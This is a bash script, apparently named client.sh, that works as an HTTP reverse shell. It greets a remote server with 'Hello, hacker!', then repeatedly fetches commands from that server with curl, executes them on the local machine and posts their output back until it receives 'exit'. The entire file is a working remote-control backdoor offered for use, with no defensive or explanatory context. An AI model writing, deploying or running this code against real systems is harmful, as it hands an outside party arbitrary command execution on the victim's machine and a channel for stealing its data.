#!/usr/bin/env bash
SERVER="$1"
TIMEOUT="$2"
TIMEOUT=${TIMEOUT:-600}
if [ -z "$SERVER" ]; then
   echo -e "\e[31m[!] Usage: bash client.sh [HOST] [Optional curl timeout]\e[0m\n"
   exit 0
fi

curl --silent --max-time $TIMEOUT -X POST --data 'Hello, hacker!' $SERVER
if [ $? -ne 0 ]; then exit -1; fi
while true; do
   command=$(curl --silent --max-time $TIMEOUT $SERVER)
   if [ $? -ne 0 ]; then exit -1; fi
   if [ "$command" = "exit" ]; then
      curl --silent --max-time 5 -X POST --data 'Goodbye, hacker!' $SERVER
      exit 0
   fi
   responce=$($command 2>&1)
   curl --silent --max-time $TIMEOUT -X POST --data "$responce" $SERVER
   if [ $? -ne 0 ]; then
      curl --silent --max-time 5 -X POST --data 'Timeout, goodbye, hacker!' $SERVER
      exit -1
   fi
done